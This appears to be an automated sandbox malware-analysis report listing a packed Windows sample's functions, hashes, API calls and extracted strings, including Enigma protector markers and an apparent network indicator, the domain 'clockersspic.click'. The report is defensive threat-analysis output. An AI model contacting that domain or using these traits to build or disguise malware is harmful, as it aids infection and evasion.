Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 38eafb79ff045ee9cfd3b94f937b8d46cb1fead1ae61fc11c7e56bc877d80980
Instruction ID: 63bf6b83cd470e90739ea94a50188cd4ef1e7503d2c96ebed48e81b5ca4cc405
Opcode Fuzzy Hash: 38eafb79ff045ee9cfd3b94f937b8d46cb1fead1ae61fc11c7e56bc877d80980
Instruction Fuzzy Hash: 0361567174C3008BC7249FA8DCA172BB792FB94704F19847FE6858B352F6759C128749

Function 00548CC0 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dbabf60b5e3105b81204478276134a213c02ca571a08b05bf5f67d7f9755667
Instruction ID: a8755fd7bfcf3f60f46f6165f93a6765a3b826c645781242f2e5ffedd137d5ce
Opcode Fuzzy Hash: 5dbabf60b5e3105b81204478276134a213c02ca571a08b05bf5f67d7f9755667
Instruction Fuzzy Hash: 6A1139B5D0160CFBCF01AB94C8898EDBFBAFF58724F104585B554A6291DB318A509B10

Function 00522490 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7285a0f66d68b19d00b1ff100ac1573975ef964cb11873885bcd9387874c2cfd
Instruction ID: 3b83a650bc1ad6281160269f5328c838a7ed1c91b9c00c9bf38e5c198c6e9dfb
Opcode Fuzzy Hash: 7285a0f66d68b19d00b1ff100ac1573975ef964cb11873885bcd9387874c2cfd
Instruction Fuzzy Hash: 1F01AC317043286BC715EB39DC51ADA7BECEF4E310F4145B5B50DD76E2E6345E408954

Function 0054A7F0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09b5d102a133842556b193053f5de286db46d1de97e982ea93665c7b990029db
Instruction ID: 5d5a6a794b744785cc63a1a20512f1d407a5be2c4531256e7a538ec3136c1085
Opcode Fuzzy Hash: 09b5d102a133842556b193053f5de286db46d1de97e982ea93665c7b990029db
Instruction Fuzzy Hash: C8D0C9B310024D6B8B01EEFDDD46DDB37DCEA09614B00892ABE15C7142EF34E9248BB4

Function 0066260C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAddAtomA.KERNEL32(?), ref: 00662698

Strings

WndProcPtr, xrefs: 0066265E
Enigma, xrefs: 00662683
ControlOfs, xrefs: 00662649
Delphi, xrefs: 00662634

Memory Dump Source

Source File: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: AtomGlobal
String ID: ControlOfs$Delphi$Enigma$WndProcPtr
API String ID: 2189174293-1257653096
Opcode ID: 4ebddd63585f57ad464add6b5d8b9912e73074d941186cfb6a6d6c23bb3d0fbc
Instruction ID: 9a40284ceb2ff8a1267dfd5e2e9ab945c9c9e07178e9c267f6962e7c590fe737
Opcode Fuzzy Hash: 4ebddd63585f57ad464add6b5d8b9912e73074d941186cfb6a6d6c23bb3d0fbc
Instruction Fuzzy Hash: F8116130704B066BDB01AB70CDB2B5A7B9BDB84701F514438BD01DB796DE74DD058769

Function 02A93E39 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 337
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

)!E, xrefs: 02A93E96

Memory Dump Source

Source File: 00000000.00000002.2187946020.0000000002A90000.00000040.00001000.00020000.00000000.sdmp, Offset: 02A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a90000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: )!E
API String ID: 0-962278944
Opcode ID: 502d3b638e314c73bd662f1c0e1da9af002c764b6ba2159f075f562a8fbc2938
Instruction ID: 727beb3d77a2e6df7b40976eb71ca56a060414ce2d677cc7cebfc7686361f24a
Opcode Fuzzy Hash: 502d3b638e314c73bd662f1c0e1da9af002c764b6ba2159f075f562a8fbc2938
Instruction Fuzzy Hash: C5C1157184E3C89FCB038B708C656997FB4AF03225F2A01DBD481DF1A3D62D590ACB62

Function 004D93B0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,VM,00004000,00000000,00004000,004D5609,00000000,00004000), ref: 004D93E2

Strings

VM, xrefs: 004D93B6, 004D93DC

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: AllocateHeap
String ID: VM
API String ID: 1279760036-337388898
Opcode ID: 6ac63d656369e5023fa076b4cf3a26c5bbedb83bf1b0a86e23903a7c7b5990a5
Instruction ID: 9127d632d6488ef2c0186ff552ca26ae4d300d690e7215eb757a58905bc575e6
Opcode Fuzzy Hash: 6ac63d656369e5023fa076b4cf3a26c5bbedb83bf1b0a86e23903a7c7b5990a5
Instruction Fuzzy Hash: 35E02B7751C252EBC6002B397C25A1B3768AFC1714F114877F5049A317EB39E813C19E

Function 02A93EF0 Relevance: 1.7, APIs: 1, Instructions: 211COMMON

Download Yara Rule

APIs

RtlExitUserProcess.NTDLL(?,77E8F3B0,000000FF), ref: 02A94003

Memory Dump Source

Source File: 00000000.00000002.2187946020.0000000002A90000.00000040.00001000.00020000.00000000.sdmp, Offset: 02A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a90000_hthjjadrthad.jbxd

Similarity

API ID: ExitProcessUser
String ID:
API String ID: 3902816426-0
Opcode ID: 6ad76d09af8ffbeb1d2fb7f97482decc99b7b3740956597aa1902f8fcc0268d5
Instruction ID: 45f5613fa185b7b7eb458c0d9c4613c4e578fa4233f68ae08336510fcf638645
Opcode Fuzzy Hash: 6ad76d09af8ffbeb1d2fb7f97482decc99b7b3740956597aa1902f8fcc0268d5
Instruction Fuzzy Hash: F9818E7280E3C89FC7038BB08C65A997FB4AF17225F1A41DBD491DA4E3D22D5909CB62

Function 02A93FF6 Relevance: 1.6, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

RtlExitUserProcess.NTDLL(?,77E8F3B0,000000FF), ref: 02A94003

Memory Dump Source

Source File: 00000000.00000002.2187946020.0000000002A90000.00000040.00001000.00020000.00000000.sdmp, Offset: 02A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a90000_hthjjadrthad.jbxd

Similarity

API ID: ExitProcessUser
String ID:
API String ID: 3902816426-0
Opcode ID: 0a9082ca4b3fe1b1b52407a4c1480075af697c49deb4ab7811e53ca7789bbdcc
Instruction ID: dd972280ff1f002ac30d032bdd86c88806b148ab990705482708f30ca0406fa0
Opcode Fuzzy Hash: 0a9082ca4b3fe1b1b52407a4c1480075af697c49deb4ab7811e53ca7789bbdcc
Instruction Fuzzy Hash: 283108B2D1060CEFDB01DFD5C944BDEBBB9FB54336F21462AE421A6180D7786A098F60

Function 004ACB80 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 004ACB93

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: d035c026f359e9fd4a26c294355928a1b8b261c3ac55d16bd4328448cb2c2645
Instruction ID: 5dd3c99288a2349277d099f09667579c9f18892b2c92f70390d101f4de4fd2aa
Opcode Fuzzy Hash: d035c026f359e9fd4a26c294355928a1b8b261c3ac55d16bd4328448cb2c2645
Instruction Fuzzy Hash: 3EE0C232A912042BD2046A58DC4BF453A2A97D2325F088236A6E4CEAC6DE78A81582A5

Function 004D7950 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,004B2AE4), ref: 004D7985

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: bbb29541f3b3cb76e6c07a9b7974d320d417e9dd9fbf853752321a6f50464774
Instruction ID: 39872277364963dc25b10fba2b0f749c382589c469b3aaaa334797627ff8a2f2
Opcode Fuzzy Hash: bbb29541f3b3cb76e6c07a9b7974d320d417e9dd9fbf853752321a6f50464774
Instruction Fuzzy Hash: F8E08C318541A3EFC6262F24FC5AB4A3A34EF04312F1204B2F4006E0B2CB719C91DA8C

Function 004ACBBE Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004ACBD0

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: ac795be47fbb79d63ae3a55705aa60eeca26523969ea28cefd2386242c9e9f0b
Instruction ID: 4186760a2cf51ea4cf89d4deba8360074ca3bf281a52816266a05053b9ddf6fa
Opcode Fuzzy Hash: ac795be47fbb79d63ae3a55705aa60eeca26523969ea28cefd2386242c9e9f0b
Instruction Fuzzy Hash: C2D0C9303D43417AF1A45B58AC97F1473116345F1AF740624B322FE2D1C9D07251860C

Function 00662598 Relevance: 1.3, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 006625C3

Memory Dump Source

Source File: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6a2443cfe84babd04be2570da7342ad1c06fb0fb0be42363f014785160182a4d
Instruction ID: 6631855685cad6562d9d0563d5c322e92e14d89e83f027655b1273668a219610
Opcode Fuzzy Hash: 6a2443cfe84babd04be2570da7342ad1c06fb0fb0be42363f014785160182a4d
Instruction Fuzzy Hash: 67E0ECB530020AABDB20CE4CD964B9A339EB748711F108011F60AD7340C634EC109765

Non-executed Functions

Function 005C3498 Relevance: 40.7, Strings: 32, Instructions: 740COMMON

Download Yara Rule

Strings

%TrialExecMinsLeft%, xrefs: 005C3DD3
%TrialStartYear%, xrefs: 005C3B00
%TrialDaysLeft%, xrefs: 005C394A
%TrialEndYear%, xrefs: 005C3C44
%TrialDaysTotal%, xrefs: 005C38F8
]c, xrefs: 005C35BF
%DaysToKeyExp%, xrefs: 005C3575
%TrialStartMonth%, xrefs: 005C3B72
]c, xrefs: 005C3595
%CU_EXECPR%, xrefs: 005C375E
%TrialEndMonth%, xrefs: 005C3CB6
%.2d, xrefs: 005C3655, 005C36B1, 005C3A0B, 005C3A7D, 005C3B4F, 005C3BC1, 005C3C93, 005C3D05
%CU_VIRTTOOLS%, xrefs: 005C3803
%HardwareID%, xrefs: 005C36FF
%TrialExpDay%, xrefs: 005C3AA0
%CU_INSTSERV%, xrefs: 005C3793
%TrialStartDay%, xrefs: 005C3BE4
%RegKey%, xrefs: 005C35C9
%TrialExpYear%, xrefs: 005C39BC
%AppName%, xrefs: 005C3500
%TrialExecsTotal%, xrefs: 005C3853
%TrialExpMonth%, xrefs: 005C3A2E
%TrialEndDay%, xrefs: 005C3D28
%TrialExecMinsTotal%, xrefs: 005C3D7E
%CU_EXTFILES%, xrefs: 005C3734
%TrialExecsLeft%, xrefs: 005C38A5
%AppVers%, xrefs: 005C3540
%KeyExpYear%, xrefs: 005C3613
%KeyExpMonth%, xrefs: 005C366F
%RegName%, xrefs: 005C359F
%KeyExpDay%, xrefs: 005C36CB
%CU_WINVER%, xrefs: 005C37C8

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: %.2d$%AppName%$%AppVers%$%CU_EXECPR%$%CU_EXTFILES%$%CU_INSTSERV%$%CU_VIRTTOOLS%$%CU_WINVER%$%DaysToKeyExp%$%HardwareID%$%KeyExpDay%$%KeyExpMonth%$%KeyExpYear%$%RegKey%$%RegName%$%TrialDaysLeft%$%TrialDaysTotal%$%TrialEndDay%$%TrialEndMonth%$%TrialEndYear%$%TrialExecMinsLeft%$%TrialExecMinsTotal%$%TrialExecsLeft%$%TrialExecsTotal%$%TrialExpDay%$%TrialExpMonth%$%TrialExpYear%$%TrialStartDay%$%TrialStartMonth%$%TrialStartYear%$]c$]c
API String ID: 0-115036070
Opcode ID: abd2a2c7946eaecd9202252f127342d5e015bf4242c1fcef4954fb73bffc887d
Instruction ID: 20e2cd8077d74995d8652583305c2d04e7e0324ced39ae9ad0e7333bb2ae2e81
Opcode Fuzzy Hash: abd2a2c7946eaecd9202252f127342d5e015bf4242c1fcef4954fb73bffc887d
Instruction Fuzzy Hash: AB624234A0015D9FCB10EB95C895FED77B9BF89300F1040AAF648AB355DA34AE49CF65

Function 004C2B51 Relevance: 29.8, Strings: 23, Instructions: 1023COMMON

Download Yara Rule

Strings

?!, xrefs: 004C35A0
MO, xrefs: 004C30A8
), xrefs: 004C39E0
0J, xrefs: 004C2E8E
.p r, xrefs: 004C33AA
KX&Z, xrefs: 004C333C
;=, xrefs: 004C3595
3d4f, xrefs: 004C33E1
[, xrefs: 004C32CE
+Y4[, xrefs: 004C30C9
*|.~, xrefs: 004C339F
eV?h, xrefs: 004C37A6
;H, xrefs: 004C3368
ij, xrefs: 004C37B1
#l%n, xrefs: 004C33CB
aRcT, xrefs: 004C379E
yz, xrefs: 004C300F
RP, xrefs: 004C2E99
#%, xrefs: 004C35AB
.`1b, xrefs: 004C33D6
m^oP, xrefs: 004C3796
$h+j, xrefs: 004C33C0
6543, xrefs: 004C370F

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: #l%n$$h+j$)$*|.~$+Y4[$.`1b$.p r$0J$3d4f$6543$;H$KX&Z$RP$[$aRcT$eV?h$ij$m^oP$yz$#%$;=$?!$MO
API String ID: 0-3443219657
Opcode ID: b0a8d7253c804a7e06be472e5272d01ca36fcd9b2bee606842baca05e10cc5f0
Instruction ID: 358a2e0c0e650d641cea45abf359e4ca94fa23b65ec82edbdb8b80293d447bb2
Opcode Fuzzy Hash: b0a8d7253c804a7e06be472e5272d01ca36fcd9b2bee606842baca05e10cc5f0
Instruction Fuzzy Hash: 4D9263B560C3818BC334CF24D441BAFBBF2EB91304F44882DD5D99B262D7759A46CB9A

Function 004ACBF0 Relevance: 21.5, Strings: 17, Instructions: 287COMMON

Download Yara Rule

Strings

7F;X, xrefs: 004ACE8F
<Z%\, xrefs: 004ACE9A
1VJh, xrefs: 004ACEBB
sjkl, xrefs: 004ACEC6
B6H, xrefs: 004ACE63
F2D4, xrefs: 004ACE58
T.L , xrefs: 004ACE21
Y*W,, xrefs: 004ACE16
5R6T, xrefs: 004ACEB0
|B6D, xrefs: 004ACE84
?N2@, xrefs: 004ACE79
@"W$, xrefs: 004ACE2C
\&X8, xrefs: 004ACE37
clockersspic.click, xrefs: 004ACFE6
/J4L, xrefs: 004ACE6E
gp, xrefs: 004ACF3E
>^ P, xrefs: 004ACEA5

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: /J4L$1VJh$5R6T$7F;X$<Z%\$>^ P$?N2@$@"W$$B6H$F2D4$T.L $Y*W,$\&X8$clockersspic.click$gp$sjkl$|B6D
API String ID: 0-1283394012
Opcode ID: 6498f619ed1eae3625dcac0f72d2001194cf041f3e22651b5e0f99ac89a20917
Instruction ID: eea7796f600c875e332bbbb747b0084883d17d93dc51b51f45e75b28d5482ea2
Opcode Fuzzy Hash: 6498f619ed1eae3625dcac0f72d2001194cf041f3e22651b5e0f99ac89a20917
Instruction Fuzzy Hash: 8C91BD7124D3C08ED3358F2898907EBBBE1FBAA304F19496DC4C98B352C7794805CB9A

Function 004B154E Relevance: 13.0, Strings: 10, Instructions: 533COMMON

Download Yara Rule

Strings

), xrefs: 004B1B0C
#, xrefs: 004B1B11
G, xrefs: 004B17CF
w, xrefs: 004B1962
@, xrefs: 004B19F0
%, xrefs: 004B17C7
H, xrefs: 004B17D7
J, xrefs: 004B19EB
., xrefs: 004B1561
g, xrefs: 004B160F

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: #$%$)$.$@$G$H$J$g$w
API String ID: 0-2601362076
Opcode ID: ade279da3b92785ebd9c4ef334fe172a21bb5247cee3446a5fca6bea05316de6
Instruction ID: d217855b3e849228b610047afcc559f6174d0b88ec39fc777827f7afddec0c0e
Opcode Fuzzy Hash: ade279da3b92785ebd9c4ef334fe172a21bb5247cee3446a5fca6bea05316de6
Instruction Fuzzy Hash: 2E22D77290D7808BC324DF39C4913AFBBE2ABD5314F594A2EE4D987391DA788805CB57

Function 004A8F10 Relevance: 12.8, Strings: 10, Instructions: 268COMMON

Download Yara Rule

Strings

y{C~, xrefs: 004A8FD1
|4s, xrefs: 004A8FE1
G{y~, xrefs: 004A8FD9
yEu4, xrefs: 004A8FE9
/, xrefs: 004A903C
us/, xrefs: 004A8F44
us/, xrefs: 004A914E
LwAK, xrefs: 004A8FC1
r,@, xrefs: 004A8FC9
~zH|, xrefs: 004A8FF1

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: /$G{y~$LwAK$r,@$us/$us/$yEu4$y{C~$|4s$~zH|
API String ID: 0-3309373575
Opcode ID: 5fad1231a45051f0fe199550a8513b9a0e7c72452a818326d02b8213dd78e031
Instruction ID: 07addc23292bb62b166bd274bd3fae9c51d0b608ce4273493513b64b269897c9
Opcode Fuzzy Hash: 5fad1231a45051f0fe199550a8513b9a0e7c72452a818326d02b8213dd78e031
Instruction Fuzzy Hash: 6061233014C3D28ED3118F7984907ABFFE0AFA3340F18456EE8D44B352D36A8A09D76A

Function 004B780A Relevance: 12.3, Strings: 9, Instructions: 1088COMMON

Download Yara Rule

Strings

9:;, xrefs: 004B7D67
QS, xrefs: 004B7EDE
_kqg, xrefs: 004B7AAB
dkqg, xrefs: 004B7AE4
CE, xrefs: 004B83A7
4, xrefs: 004B789E
6543, xrefs: 004B7935
8, xrefs: 004B8330
!, xrefs: 004B8561

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
